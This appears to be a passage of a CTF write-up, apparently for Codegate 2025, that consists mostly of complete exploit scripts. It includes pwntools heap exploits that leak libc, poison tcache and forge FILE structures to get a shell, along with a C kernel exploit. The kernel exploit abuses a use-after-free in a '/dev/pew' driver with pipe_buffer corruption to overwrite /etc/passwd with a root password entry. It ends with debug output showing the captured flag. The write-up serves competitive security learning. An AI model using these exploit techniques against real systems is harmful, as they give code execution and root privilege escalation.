sudo tee /proc/sys/kernel/randomize_va_space # os.system("echo 0 | sudo tee /proc/sys/kernel/randomize_va_space") # enable aslr os.system("echo 2 | sudo tee /proc/sys/kernel/randomize_va_space") local_bin = "./prob_patched" # local_bin = "./prob" elf = ELF(local_bin) rop = ROP(elf) libc = ELF("libc.so.6") # context.log_level = 'debug' p = process(local_bin) # p = remote("3.38.43.123", 13378) # server 1 # p = remote("3.38.215.165", 13378) # server 2 def kill_gdb(): try: # Find the process with the command line matching GDB result = subprocess.run( ["pgrep", "-f", "/usr/bin/gdb.*"], stdout=subprocess.PIPE, text=True ) gdb_pids = result.stdout.strip().split('\n') if gdb_pids: for pid in gdb_pids: os.kill(int(pid), signal.SIGKILL) print(f"[+] Killed GDB process: PID {pid}") else: print("[-] No GDB process found.") except Exception as e: print(f"[-] Error killing GDB: {e}") # Handle Ctrl+C gracefully def signal_handler(sig, frame): print("\n[+] Terminating GDB...") p.terminate() # Kill the GDB process kill_gdb() exit(0) # signal.signal(signal.SIGINT, signal_handler) def sla(receive,reply): p.sendlineafter(receive,reply,timeout=3) def sa(receive,reply): p.sendafter(receive,reply,timeout=3) def create(idx, key, size, data): sla(b'3. delete', b'1') sla(b'Index', str(idx)) sla(b'Key', str(key)) sla(b'Size', str(size)) sla(b'Data', data) def create_invalid_key(idx, key): sla(b'3. delete', b'1') sla(b'Index', str(idx)) sla(b'Key', str(key)) def create_target(idx, key, size): sla(b'3. delete', b'1') sla(b'Index', str(idx)) sla(b'Key', str(key)) sla(b'Size', str(size)) def edit(idx, key, data): sla(b'3. delete', b'2') sla(b'Index', str(idx)) sla(b'Key', str(key)) sla(b'Data', data) def edit_brute(idx, key): sla(b'3. delete', b'2') sla(b'Index', str(idx)) sla(b'Key', str(key)) test = p.recvline(timeout=3) if (b'Data' in test): print("Brute succeeded") p.sendline(b'') return [True, test] elif (b'Error' in test): print(f"Brute failed {hex(key)}") return [False, test] else: return [True, test] def delete(idx, key): sla(b'3. delete', b'3') sla(b'Index', str(idx)) sla(b'Key', str(key)) create(0, 0, 8, b'AAAAA') create_target(0, 0, 0x20000) for i in range(0, 8): create(1+i, 0, 0x88, b'AAAAA') print(f"Created {i+1}") create(9, 0, 0x88, b'AAAAA') # prevent merging? for i in range(0, 8): delete(1+i, 0) print(f"Deleted {i+1}") for i in range(0, 8): create_invalid_key(1+i, -1) print(f"Created {i+1}") # create_invalid_key(9, -1) create(10, 0, 0x8, b'AAAAA') create_invalid_key(11, -1) # this has uninitialzied pointers # brute force byte (and leak libc) key = 0x7000 libc_upper = -1 libc_lower = -1 key_upper = 0x7FFF for i in range(key, key_upper): result, test = edit_brute(11, i) if (result == True): libc_upper = i if (test == b''): print("Special case") test = p.recv() p.sendline(b'') libc_lower = test break print(f"Found key: {hex(libc_upper)}") print(f"libc_upper: {hex(libc_upper)}") import re match = re.search(r"\((-?\d+)\)", libc_lower.decode()) # Allow both positive and negative numbers if match: libc_lower = match.group(1) print(libc_lower) else: print("Exiting now!!!") hex_value = f"{int(libc_lower) & 0xFFFFFFFFFFFFFFFF:016X}" libc_lower = int(hex_value, 0x10) & 0xFFFFFFFF print(f"libc_lower: {hex(libc_lower)}") libc_leak = (libc_upper << 32) + libc_lower print(f"libc_leak: {hex(libc_leak)}") libc_base = libc_leak - (0x7d9379419ce0-0x7d9379200000) libc.address = libc_base print(f"libc.address: {hex(libc.address)}") # now oob write from 10 create_target(10, 0, 0x20000) def create_ucontext( src: int, rsp=0, rbx=0, rbp=0, r12=0, r13=0, r14=0, r15=0, rsi=0, rdi=0, rcx=0, r8=0, r9=0, rdx=0, rip=0xDEADBEEF, ) -> bytearray: b = bytearray(0x200) b[0xE0:0xE8] = p64(src) # fldenv ptr b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr b[0xA0:0xA8] = p64(rsp) b[0x80:0x88] = p64(rbx) b[0x78:0x80] = p64(rbp) b[0x48:0x50] = p64(r12) b[0x50:0x58] = p64(r13) b[0x58:0x60] = p64(r14) b[0x60:0x68] = p64(r15) b[0xA8:0xB0] = p64(rip) # ret ptr b[0x70:0x78] = p64(rsi) b[0x68:0x70] = p64(rdi) b[0x98:0xA0] = p64(rcx) b[0x28:0x30] = p64(r8) b[0x30:0x38] = p64(r9) b[0x88:0x90] = p64(rdx) return b def setcontext32(libc: ELF, **kwargs) -> (int, bytes): got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr return got, flat( p64(0), p64(got + 0x218), p64(libc.symbols["setcontext"] + 32), p64(plt_trampoline) * 0x40, create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs), ) dest, payload2 = setcontext32( libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__() ) target_write = dest payload = b"" payload += p64(0x4141414141414141) payload += p64(0x4141414141414142) payload += p64(0) payload += p64(0x21) payload += p64(target_write) payload += p64(0x1000) # overwrite key and shit payload += p64(libc_leak) # try not to corrupt too much lol payload += p64(libc_leak) edit(10, 0, payload) edit(11, 0, payload2) context.log_level = 'debug' # IPython.embed() p.sendline(b"ls") p.sendline(b"cat flag*") p.interactive() ``` ### Todo List 2 solutions ```py= #!/usr/bin/env python3 from pwn import * # ========================================================= # SETUP # ========================================================= exe = './prob_patched' elf = context.binary = ELF(exe, checksec=True) libc = './libc.so.6' libc = ELF(libc, checksec=False) context.log_level = 'debug' context.terminal = "kitten @ launch --location=before --cwd=current --bias=65".split() context.encoding = "ascii" host, port = '43.203.168.199', 13379 def initialize(argv=[]): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript) elif args.REMOTE: return remote(host, port) else: return process([exe] + argv) gdbscript = ''' # load's return breakrva 0x215b # edit's return breakrva 0x1974 '''.format(**locals()) # ========================================================= # EXPLOITS # ========================================================= complete_no = 0 def create(idx, title, desc): io.sendlineafter(b'>', b'1') io.sendlineafter(b':', str(idx).encode()) io.sendafter(b':', title) io.sendafter(b':', desc) def edit(idx, desc): io.sendlineafter(b'>', b'2') io.sendlineafter(b':', str(idx).encode()) io.sendafter(b'Desc :', desc) def read(idx): io.sendlineafter(b'>', b'3') io.sendlineafter(b':', str(idx).encode()) def complete(idx): global complete_no no = complete_no complete_no += 1 io.sendlineafter(b'>', b'4') io.sendlineafter(b':', str(idx).encode()) log.info("complete %d", no) return no def load(no, idx): io.sendlineafter(b'>', b'5') io.sendlineafter(b':', str(no).encode()) io.sendlineafter(b':', str(idx).encode()) def delete(idx): io.sendlineafter(b'>', b'6') io.sendlineafter(b':', str(idx).encode()) def demangle(val): mask = 0xfff << 52 while mask: v = val & mask val ^= (v >> 12) mask >>= 12 return val def stdout_RCE_payload(): stdout = libc.sym['_IO_2_1_stdout_'] wfile_jumps = libc.sym['_IO_wfile_jumps'] fake_file = FileStructure(0) fake_file.flags = u64(b' sh\x00\x00\x00\x00') fake_file._IO_write_ptr = 1 fake_file._wide_data = stdout - 0x10 fake_file._lock = stdout + 0x10 fake_file.chain = libc.sym['system'] fake_file.vtable = wfile_jumps payload = bytes(fake_file)[:-0x10] + p64(stdout) + bytes(fake_file)[-0x8:] return payload def mangle(heap_addr, val): return (heap_addr >> 12) ^ val def exploit(): global io io = initialize() title = b'0||'+b'A'*(0xf-3) create(0, title, cyclic(10) + p64(0x441)) unsorted_size = complete(0) create(1, b'0', b'0') create(3, b'0', b'0') create(6, b'0', b'0') create(7, b'0', b'0') for _ in range(40-1): create(2, b'0', b'0') load(unsorted_size, 0) delete(1) delete(0) create(2, title, cyclic(10)) read(3) io.recvuntil(b'Desc : ') libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x203b20 stdout = libc.sym['_IO_2_1_stdout_'] stdin = libc.sym['_IO_2_1_stdin_'] create(4, b'0', b'0') create(1, b'0', b'0') create(5, b'0', b'0') delete(3) read(4) io.recvuntil(b'Desc : ') heap = demangle(u64(io.recv(6).ljust(8, b'\x00'))) - 0x2c0 # clear bins for _ in range(40-1): create(2, b'0', b'0') create(2, b'asd', b'asd') consume_tcache = complete(2) load(consume_tcache, 2) load(consume_tcache, 2) load(consume_tcache, 2) # at this point, duplicate ptrs # 3 -> 4 (used) # 6 -> 1 # 7 -> 5 create(0, b'asd', b'asd') delete(0) delete(6) edit(1, p64(mangle(heap, stdout))) create(0, b'asd', b'\x00') stdout1 = complete(0) load(stdout1, 0) load(stdout1, 0) load(stdout1, 0) edit(0, flat([ 0xFBAD1800, 0x0, 0x0 ])) create(0, b'asd', b'asd') delete(0) delete(7) # edit(5, p64(mangle(heap, stdin+0x20))) # try to ow _IO_buf_base edit(5, p64(mangle(heap, stdin+0x30))) create(0, b'asd', b'\x00') stdout2 = complete(0) load(stdout2, 0) load(stdout2, 0) load(stdout2, 0) # edit(0, flat([ # libc.sym['environ'], # libc.sym['environ']+0x10, # libc.sym['environ']+0x10 # ])) pause() edit(0, flat([ stdout, stdout, stdout + 0x300, ])) io.sendline(stdout_RCE_payload()) pause() io.interactive() if __name__ == '__main__': exploit() ``` Another teammate: ```py= #!/usr/bin/env python3 from pwn import * # ========================================================= # SETUP # ========================================================= exe = './prob_patched' elf = context.binary = ELF(exe, checksec=True) libc = './libc.so.6' libc = ELF(libc, checksec=False) context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h", "-p", "65"] host, port = '43.203.168.199', 13379 def initialize(argv=[]): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript) elif args.REMOTE: return remote(host, port) else: return process([exe] + argv) gdbscript = ''' init-pwndbg # load's return # breakrva 0x215b # edit's return # breakrva 0x1974 '''.format(**locals()) # ========================================================= # EXPLOITS # ========================================================= complete_no = 0 def create(idx, title, desc): io.sendlineafter(b'>', b'1') io.sendlineafter(b':', str(idx).encode()) io.sendafter(b':', title) io.sendafter(b':', desc) def edit(idx, desc): io.sendlineafter(b'>', b'2') io.sendlineafter(b':', str(idx).encode()) io.sendafter(b'Desc :', desc) def read(idx): io.sendlineafter(b'>', b'3') io.sendlineafter(b':', str(idx).encode()) def complete(idx): global complete_no no = complete_no complete_no += 1 io.sendlineafter(b'>', b'4') io.sendlineafter(b':', str(idx).encode()) log.info("complete %d", no) return no def load(no, idx): io.sendlineafter(b'>', b'5') io.sendlineafter(b':', str(no).encode()) io.sendlineafter(b':', str(idx).encode()) def delete(idx): io.sendlineafter(b'>', b'6') io.sendlineafter(b':', str(idx).encode()) def demangle(val): mask = 0xfff << 52 while mask: v = val & mask val ^= (v >> 12) mask >>= 12 return val def mangle(heap_addr, val): return (heap_addr >> 12) ^ val def exploit(): global io io = initialize() title = b'0||'+b'A'*(0xf-3) create(0, title, cyclic(10) + p64(0x441)) unsorted_size = complete(0) create(1, b'0', b'0') create(3, b'0', b'0') create(6, b'0', b'0') create(7, b'0', b'0') for _ in range(40-1): create(2, b'0', b'0') load(unsorted_size, 0) delete(1) delete(0) create(2, title, cyclic(10)) read(3) io.recvuntil(b'Desc : ') libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x203b20 stdout = libc.sym['_IO_2_1_stdout_'] stdin = libc.sym['_IO_2_1_stdin_'] create(4, b'0', b'0') create(1, b'0', b'0') create(5, b'0', b'0') delete(3) read(4) io.recvuntil(b'Desc : ') heap = demangle(u64(io.recv(6).ljust(8, b'\x00'))) - 0x2c0 # clear bins for _ in range(40-1): create(2, b'0', b'0') create(2, b'asd', b'asd') consume_tcache = complete(2) load(consume_tcache, 2) load(consume_tcache, 2) load(consume_tcache, 2) # at this point, duplicate ptrs # 3 -> 4 (used) # 6 -> 1 # 7 -> 5 create(0, b'asd', b'asd') delete(0) delete(6) edit(1, p64(mangle(heap, stdin+0x30))) create(0, b'asd', b'\x00') arb_write = complete(0) load(arb_write, 0) load(arb_write, 0) load(arb_write, 0) edit(0, flat([ stdout, stdout, stdout+0x300, ])) fp = stdout # crafting overlapping IO_FILE, wide_data and wide_vtable overlap = b' sh\x00\x00\x00\x00' # [FILE] _flags | [WIDE DATA] read_ptr overlap += flat([ p64(0x0), # [WIDE DATA] read_end p64(0x0), # [WIDE DATA] read_base p64(0x0), # [WIDE DATA] write_base p64(0x0), # [WIDE DATA] write_ptr p64(0x0), # [WIDE DATA] write_end p64(0x0), # [WIDE DATA] buf_base p64(0x0), # [WIDE DATA] buf_end p64(0x0), # [WIDE DATA] save_base p64(0x0), # [WIDE DATA] backup_base p64(0x0), # [WIDE DATA] save_end ]) overlap += b'\x00' * 8 # [WIDE DATA] state overlap += b'\x00' * 8 # [WIDE DATA] last_state codecvt = b'' codecvt += p64(libc.sym['system']) # [FILE] _chain | [WIDE DATA] codecvt | [VTABLE] __doallocate (at function authenticate, skips the puts because we overwrote stdout) codecvt += b'\x00' * 0x18 # padding codecvt += p64(fp - 0x10) # [FILE] _lock codecvt += p64(0x0) * 2 # padding codecvt += p64(fp+0x8) # [FILE] _wide_data codecvt += b'\x00' * (0x18 + 4 + 20) # padding codecvt += p64(libc.sym['_IO_wfile_jumps']) # [FILE] vtable codecvt += b'\x00' * (0x70 - len(codecvt)) # padding overlap += codecvt overlap += p64(0x0) # [WIDE DATA] wchar_t shortbuf[1] (alligned to 8 bytes) overlap += p64(fp) # [WIDE DATA] vtable io.sendline(overlap) sleep(1) io.sendline(b'cat ../flag') log.info("heap: %#x", heap) log.info("libc base: %#x", libc.address) io.interactive() if __name__ == '__main__': exploit() ``` ### pew The bug is in pew_release, where it forget to null away the buffer after freeing. Hence we have UAF on the buffer which is allocated with size 0x1000. The idea is to spray pipe_buffers, modify the flags to use the dirtypipe technique to overwrite /etc/passwd. ```c= #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <stdint.h> #include <string.h> #include <fcntl.h> #include <signal.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <sys/msg.h> #include <termios.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sched.h> #include <errno.h> #include <inttypes.h> #include <pthread.h> int main() { int fd[2]; // File descriptors for the pipe pid_t pid; char message[] = "Hello, world!\n"; char buffer[100]; int res; int target_fd; int target_fd2; target_fd = open("/dev/pew", O_RDWR); target_fd2 = open("/dev/pew", O_RDWR); #define NR_PIPES 0x20 int pipefds[NR_PIPES][2]; for (int i = 0; i < NR_PIPES; i++) { res = (pipe(pipefds[i])); if (res < 0){ printf("Error!\n"); } } printf("[+] Enter to free buffer\n"); // getchar(); close(target_fd); // this will free printf("[+] Enter to occupy buffer\n"); // getchar(); for (int i = 0; i < NR_PIPES; i++) { res = fcntl(pipefds[i][1], F_SETPIPE_SZ, 0x1000 * 50); if (res < 0){ printf("Error!\n"); } } printf("[+] Enter to write buffer?\n"); // getchar(); for (int i = 0; i < NR_PIPES; i++) { write(pipefds[i][1], "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 128); } printf("[+] Sleeping\n"); int secrets_fd = open("/etc/passwd", O_RDONLY); struct stat stbuf; int secret_size = stat("/etc/passwd", &stbuf); /* 2 syscalls */ for (int i = 0; i < NR_PIPES; i++) { loff_t offset = 0; res = splice(secrets_fd, &offset, pipefds[i][1], NULL, 1, 0); if (res < 0){ printf("Error splice\n"); } } // now corrupt pipe with ioctl int target_offset = (0x28 + 0x18); int target_val = 0x10; printf("[+] now corrupt pipe with ioctl @offset %d\n", target_offset); ioctl(target_fd2, 0x1002, target_val); ioctl(target_fd2, 0x1001, target_offset); ioctl(target_fd2, 0x1003, &target_offset); getchar(); // this writes into /etc/passwd // write(pipefds[0][1], "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 40); char catcatcat[] = "root:$1$KHAVTUKO$GU3BysPeNf8W7hDrzo0bu/:0:0:root:/root:/bin/sh\nuser:x:1000:1000:Linux User,,,:/home/user:/bin/sh"; for (int i = 0; i < NR_PIPES; i++) { write(pipefds[0][1], catcatcat, sizeof(catcatcat)); } printf("Sleeping\n"); while(1){sleep(1);} return 0; } ``` ``` c[DEBUG] Received 0x53 bytes: 00000000 61 74 20 2f 66 6c 61 67 0d 0a 63 6f 64 65 67 61 │at /│flag│··co│dega│ 00000010 74 65 32 30 32 35 7b 21 6e 54 33 6e 44 33 64 5f │te20│25{!│nT3n│D3d_│ 00000020 73 30 4c 75 74 21 30 4e 5f 57 40 73 5f 50 34 67 │s0Lu│t!0N│_W@s│_P4g│ 00000030 45 5f 75 40 46 5f 59 30 55 72 53 5f 54 30 6f 3f │E_u@│F_Y0│UrS_│T0o?│ 00000040 7d 0d 0a 2f 68 6f 6d 65 2f 63 74 66 20 23 20 1b │}··/│home│/ctf│ # ·│ 00000050 5b 36 6e │[6n│ ```